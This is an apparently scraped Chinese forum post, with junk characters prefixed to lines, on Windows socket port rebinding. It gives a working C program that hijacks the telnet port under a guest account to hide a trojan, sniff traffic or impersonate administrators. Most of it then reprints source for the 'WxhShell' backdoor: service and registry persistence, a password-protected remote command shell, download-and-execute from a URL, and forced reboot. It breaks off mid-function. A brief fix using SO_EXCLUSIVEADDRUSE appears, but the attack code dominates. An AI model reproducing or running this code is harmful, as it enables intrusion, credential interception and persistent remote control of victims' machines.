在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
q@i.4>x s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
R~BFZF>: _7<G6q2( saddr.sin_family = AF_INET;
<K
<|G <SiJA`(7 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
&Z%'xAOGR *1h@Jb34 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0u
bf]Z \_ MWZRMc5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
y\R-=Am". #r QT)n 这意味着什么?意味着可以进行如下的攻击:
\jr-^n] #g~]2x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Se|h]+G |8fdhqy_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
9Us'Q{CD vdd>\r)v 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[a7S?%>Bh j43i:c;F 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
rh T!8dTk 74a k|(! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ekd;sEO tG[v@-O 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
!}q@O-}j AmK g;9LS 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
k#G+<7c< *~^%s+b #include
rBZ00} #include
vy5I#q(k #include
~*L@|? #include
l"%WXi"X DWORD WINAPI ClientThread(LPVOID lpParam);
|#EI(W?` int main()
B-V {
jF-0 fK;)* WORD wVersionRequested;
c3*9{Il^ DWORD ret;
+/rh8? WSADATA wsaData;
3iw.yR BOOL val;
o<rbC <
U SOCKADDR_IN saddr;
S"/gZfxer SOCKADDR_IN scaddr;
zLg_0r*h1 int err;
,irc=0M( SOCKET s;
4"eeEs h SOCKET sc;
Kir|in)r0 int caddsize;
:@S=0|:j HANDLE mt;
02C; DWORD tid;
OT#foP wVersionRequested = MAKEWORD( 2, 2 );
aZ}z/.b] err = WSAStartup( wVersionRequested, &wsaData );
(, $Lp0mB7 if ( err != 0 ) {
n6{nx[%7N7 printf("error!WSAStartup failed!\n");
B RtT 7 return -1;
xLw[
aYy4 }
vqo ~?9z[e saddr.sin_family = AF_INET;
rLcXo%w ZWx4/G //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
9g7Ok9dF 8KWhXF saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
>Sm#-4B- saddr.sin_port = htons(23);
Ca0t}`<S if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i8.OM*[f {
$}P>_bq printf("error!socket failed!\n");
x5,|kJ9S return -1;
j&0t!f.Rv }
q,]57s val = TRUE;
MT<3OKo?: //SO_REUSEADDR选项就是可以实现端口重绑定的
0p= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
X:W}S/ {
PRK*7-( printf("error!setsockopt failed!\n");
U!T#'H5'- return -1;
m^4O jik }
Ps~)l#gue //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
]o`FF="at //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$B`bsJ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
W |+&K0M SpZmwa #\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
g$mqAz< {
%Gm4,+8P3o ret=GetLastError();
WiFZY*iu5 printf("error!bind failed!\n");
>k(AQW5? return -1;
@@|H8mP}H }
v [>8<z8 listen(s,2);
%Z(lTvqG while(1)
!DeU8.% {
@4jPaqa( caddsize = sizeof(scaddr);
[bd?$qi //接受连接请求
#}xPOz7: sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
rH[Eh8j, if(sc!=INVALID_SOCKET)
-3C$br {
F-Ywl) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
CxVrnb[`q if(mt==NULL)
T7Yg^ -" {
E5$uvxCI printf("Thread Creat Failed!\n");
s=n_(}{ q break;
l%7^'nDn }
w4Ku1G#jC }
yj9Ad*. CloseHandle(mt);
+ID%( : }
RueL~$*6.~ closesocket(s);
XU$\.g p- WSACleanup();
\>4x7mF! return 0;
WI54xu1M }
Fprhu;h DWORD WINAPI ClientThread(LPVOID lpParam)
6
i]B8Ziq{ {
{1W,-% SOCKET ss = (SOCKET)lpParam;
%$F\o1S SOCKET sc;
K|.!)L unsigned char buf[4096];
.,SWa;[iB SOCKADDR_IN saddr;
j,#R?Ig long num;
m`8tHHF DWORD val;
IF|%.%I$!U DWORD ret;
x[2eA!NC //如果是隐藏端口应用的话,可以在此处加一些判断
S]biN]+7s //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
9|//_4] saddr.sin_family = AF_INET;
e6^iakSd.L saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
uB35CRd saddr.sin_port = htons(23);
i%9xt1c_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
S;S_<GX {
BU;E6s>P printf("error!socket failed!\n");
) 2Hl\"F return -1;
z#sSLE.$Z }
P4~C0z val = 100;
8 9f{8B]z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Ib$?[ {
;EfREfk
ret = GetLastError();
xsXf_gGu return -1;
)"<:Md$7 }
pw1&WP&?3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{NV=k%MTmi {
*5;#+%A ret = GetLastError();
)UG<KcdI return -1;
)rv<" }
ca8.8uHY\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
pc<A
,? {
%ck/ Z printf("error!socket connect failed!\n");
<2 S?QgR, closesocket(sc);
gNzamorv[ closesocket(ss);
\+sP<'~M return -1;
0"$'1g^]7 }
/<oBgFMoJ while(1)
9$P*fx&m {
t~FOaSt //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Hf$LWPL)lM //如果是嗅探内容的话,可以再此处进行内容分析和记录
> v ]-B"Y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
JZB@K6 ~dO num = recv(ss,buf,4096,0);
d!]_n|B@9 if(num>0)
X7&
^"|: send(sc,buf,num,0);
{ Sn
J else if(num==0)
q3R?8Mb break;
.=4k'99, num = recv(sc,buf,4096,0);
Tof H=d if(num>0)
$qj||zA send(ss,buf,num,0);
?BnjtefIe else if(num==0)
z8hAZ?r1` break;
eLAhfG }
'; Z!(r closesocket(ss);
4PAuEM/z closesocket(sc);
uPtS.j= return 0 ;
%QrpFE5V5 }
j#)K/` `.a~G
y ]pP [0S ==========================================================
DG"Z: ^`* )s4a<Sc] 下边附上一个代码,,WXhSHELL
VCUEzR0 9N]V F' ==========================================================
kI>PaZ`i) ZJ|'$=lR #include "stdafx.h"
wsLfp82 #q%V|Ajq #include <stdio.h>
*(sFr E #include <string.h>
"FT(U{^7d #include <windows.h>
;nB.f.e` #include <winsock2.h>
&*wc` U #include <winsvc.h>
s>^$: wzu #include <urlmon.h>
k3B-;%3I; {y
k0Zef_ #pragma comment (lib, "Ws2_32.lib")
c*#*8R9.y #pragma comment (lib, "urlmon.lib")
u$?t |Ll '+cPx\4 #define MAX_USER 100 // 最大客户端连接数
![*7HE>}, #define BUF_SOCK 200 // sock buffer
5?n@.hcL #define KEY_BUFF 255 // 输入 buffer
d]6#pSE R59'KR2? #define REBOOT 0 // 重启
E|fQbkfw #define SHUTDOWN 1 // 关机
+sc--e? !3'&_vmG$ #define DEF_PORT 5000 // 监听端口
`upxM0gc ZeyAbo #define REG_LEN 16 // 注册表键长度
lP:ll])p2 #define SVC_LEN 80 // NT服务名长度
'P^6H$0 AH#eoKu // 从dll定义API
_ X*
A
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
y=)xo7( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
u\zP`Y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4D-4BxN* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
*U=%W4?W %!i|"FNc // wxhshell配置信息
"2'pS<| struct WSCFG {
xi
=\] int ws_port; // 监听端口
oG_-a(N char ws_passstr[REG_LEN]; // 口令
S!;:7?mq int ws_autoins; // 安装标记, 1=yes 0=no
h^}r$k_n char ws_regname[REG_LEN]; // 注册表键名
TE.O@:7Z char ws_svcname[REG_LEN]; // 服务名
i!JVGs char ws_svcdisp[SVC_LEN]; // 服务显示名
Z/S7ei@56 char ws_svcdesc[SVC_LEN]; // 服务描述信息
c)tG1|Og] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+$F_7Hx int ws_downexe; // 下载执行标记, 1=yes 0=no
Cd"iaiTD0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/.u0rxoRP} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
U<*8KiI mw*BaDN@Q };
2-<i#nA3 855JAf
// default Wxhshell configuration
7:D@6<J? struct WSCFG wscfg={DEF_PORT,
#H@rb "xuhuanlingzhe",
][y~(&=T 1,
W_E0+ "Wxhshell",
1eZ759PoO "Wxhshell",
6?3f+=e"~! "WxhShell Service",
n!B*n(;!u "Wrsky Windows CmdShell Service",
A #y,B "Please Input Your Password: ",
m*d {pX 1,
J}9 I5O "
http://www.wrsky.com/wxhshell.exe",
[JY 1| N "Wxhshell.exe"
6jKZ.S+s) };
n8.W$ &-ia X7*i-v@ // 消息定义模块
x dT1jI char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
U;7Cmti" char *msg_ws_prompt="\n\r? for help\n\r#>";
=wEqI)Td char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
5)rMoYn25 char *msg_ws_ext="\n\rExit.";
Y|NANjEAfm char *msg_ws_end="\n\rQuit.";
v^=Po6S[{+ char *msg_ws_boot="\n\rReboot...";
hw@ `Q@ char *msg_ws_poff="\n\rShutdown...";
1FCHqqZ= char *msg_ws_down="\n\rSave to ";
$X9`~Sv _ t@`w}o[# char *msg_ws_err="\n\rErr!";
)e$}sw{t char *msg_ws_ok="\n\rOK!";
._uXK[c7P $fhb-c3 char ExeFile[MAX_PATH];
}'y=JV>l int nUser = 0;
JFyw,p&xB HANDLE handles[MAX_USER];
p6MjVu int OsIsNt;
JfJLJ(} fr\"MP SERVICE_STATUS serviceStatus;
c==5 cMUg SERVICE_STATUS_HANDLE hServiceStatusHandle;
:/c40:[ \lJCBb+k // 函数声明
#^+C
kHX int Install(void);
]5V=kNui int Uninstall(void);
`Dck$ int DownloadFile(char *sURL, SOCKET wsh);
Pp*:rA"N int Boot(int flag);
vqC!Ajm void HideProc(void);
%yjz@ int GetOsVer(void);
5 (Lw-_y# int Wxhshell(SOCKET wsl);
_</>`P[ void TalkWithClient(void *cs);
*kmD/J int CmdShell(SOCKET sock);
\i*QKV< int StartFromService(void);
H+ P&}
3 int StartWxhshell(LPSTR lpCmdLine);
x:7"/H| Y+,ii$Ce~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
KlMSkdmW VOID WINAPI NTServiceHandler( DWORD fdwControl );
Ej\Me k$kOp *X // 数据结构和表定义
;.O#|Z[ SERVICE_TABLE_ENTRY DispatchTable[] =
xnuu#@f {
e
ej: {wscfg.ws_svcname, NTServiceMain},
lo1<t<w` {NULL, NULL}
D#=$? {w };
}#u.Of`6"
b6`_;Z // 自我安装
=RA8^wI int Install(void)
Oy,7>vWQI {
H2ZRUFu char svExeFile[MAX_PATH];
;qA(!`h+ HKEY key;
~o_zV'^f@o strcpy(svExeFile,ExeFile);
?5N7,|K) Hwz.5hV" // 如果是win9x系统,修改注册表设为自启动
[tKH'}/s= if(!OsIsNt) {
q X"Pg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qhdY<[6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
DRDn;j RegCloseKey(key);
6.!aJJLN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
V0rS^SAF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{
]*#WU RegCloseKey(key);
:i?7RouO return 0;
x1@`\r#0 }
u8w4e!rKo6 }
`X["Bgk$!T }
MO_-7,.y else {
W>+/N4 ^^9O9] // 如果是NT以上系统,安装为系统服务
!-cO0c! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,ln=kj if (schSCManager!=0)
DOsQVdH {
T{A_]2
G SC_HANDLE schService = CreateService
tdCD!rV`{ (
TFQX}kr] schSCManager,
b1*5#2rs. wscfg.ws_svcname,
C[-M
~yIL wscfg.ws_svcdisp,
Jq5](F!z SERVICE_ALL_ACCESS,
ajy+%sXf= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
T3_3k.,| SERVICE_AUTO_START,
sp-){k SERVICE_ERROR_NORMAL,
lpy(un svExeFile,
>
[%ITqA$ NULL,
T{USzMj
NULL,
G~VukW<e NULL,
\l_U+d,qq NULL,
j(QK 0 "z NULL
fn~Jc~[G| );
m,Fug1+N if (schService!=0)
F['<;} {
8l50@c4UF~ CloseServiceHandle(schService);
`y^tCJ2u* CloseServiceHandle(schSCManager);
.|VWYN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Knjg`f strcat(svExeFile,wscfg.ws_svcname);
u ?
}T)B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
hhM?I$t: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
/c&;WlE/n RegCloseKey(key);
"PK`Ca@`v return 0;
|z+K]R8_ }
sTb@nrRxH }
38gHM9T
xh CloseServiceHandle(schSCManager);
* NB:"1x }
G-DvM6T
}
!W4X4@ @V7HxW7RX return 1;
q-3e^-S* }
,ix> e .H33C@ // 自我卸载
z'!sc"]W6 int Uninstall(void)
%3@a|#g {
|Ok=aV7 HKEY key;
oIJ.Tv@N( < %t$0' if(!OsIsNt) {
V6CRl&ZKO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&^I2NpT RegDeleteValue(key,wscfg.ws_regname);
0ECQ>Ux: RegCloseKey(key);
67{3/(`x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-s!cZ3 RegDeleteValue(key,wscfg.ws_regname);
ng-rvr RegCloseKey(key);
uto
E}U7] return 0;
FQgc\-8tm }
{ch+G~oS }
z~ f;5 xtI }
w vQ.9 else {
Rnd.<jz+Y %n!7'XF'[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
UWPzRk#s" if (schSCManager!=0)
l2S1?* {
3c|u2Pl SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
m35$4 if (schService!=0)
;+Mee^E>! {
%
k}+t3aF if(DeleteService(schService)!=0) {
X%lk] &2 CloseServiceHandle(schService);
HC$rC"f CloseServiceHandle(schSCManager);
o6@`aU return 0;
q
qFN4AO }
Q$B\)9`v[ CloseServiceHandle(schService);
? JliKFD% }
T:G8xI1
P CloseServiceHandle(schSCManager);
l.Yq4qW }
C"[d bh! }
dJf#j?\[ O V+|j return 1;
g4U`Qf3 }
ol #4AU` so]p1@K // 从指定url下载文件
RX cfd-us int DownloadFile(char *sURL, SOCKET wsh)
FhAYk {
Dx*tolF HRESULT hr;
_C&XwCIm char seps[]= "/";
r1R\cor char *token;
tT`{xM char *file;
()`cW>[ char myURL[MAX_PATH];
7+c}D>/`: char myFILE[MAX_PATH];
EjjW%"C, 1(4}rB3 strcpy(myURL,sURL);
:vWixgLg token=strtok(myURL,seps);
6qYK"^+xu while(token!=NULL)
QZ?%xN(4 {
EA=EcUf' file=token;
Pgh)+>ON token=strtok(NULL,seps);
kWm[Lt }
e'MLLC[ OY'6 ~w9 GetCurrentDirectory(MAX_PATH,myFILE);
37U$9] strcat(myFILE, "\\");
.EXxNB]%Y& strcat(myFILE, file);
"(NJ{J#A send(wsh,myFILE,strlen(myFILE),0);
<)4>"SN&^ send(wsh,"...",3,0);
C?-_8OA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
V=-hqo( if(hr==S_OK)
.cCB,re return 0;
+h?Rb3=S else
\O
G`+"|L return 1;
*{1]b_< Cu-z`.#}R }
^>/] Qi u[b0MNE~ // 系统电源模块
h5p,BRtu int Boot(int flag)
`ZELw=kLL {
nR#'BBlI HANDLE hToken;
f`Wces=5 TOKEN_PRIVILEGES tkp;
YLkdT% y|h:{< if(OsIsNt) {
vIpitbFC OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\ x>#bql+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
227 Z6#CF! tkp.PrivilegeCount = 1;
E7AYK& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-s,guW | AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
&O;'?/4
S if(flag==REBOOT) {
%YV3-W8S0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
m14OPZ<3?- return 0;
%5-
}
A"pV 7
y else {
LPK[^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
v#E RXIrf return 0;
I?#B_ R# }
D FN }
"Wz74ble else {
FtmI\, if(flag==REBOOT) {
H;kk:s' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
{cMf_qQ return 0;
r]yI5 ; }
Rf0F`D k else {
}&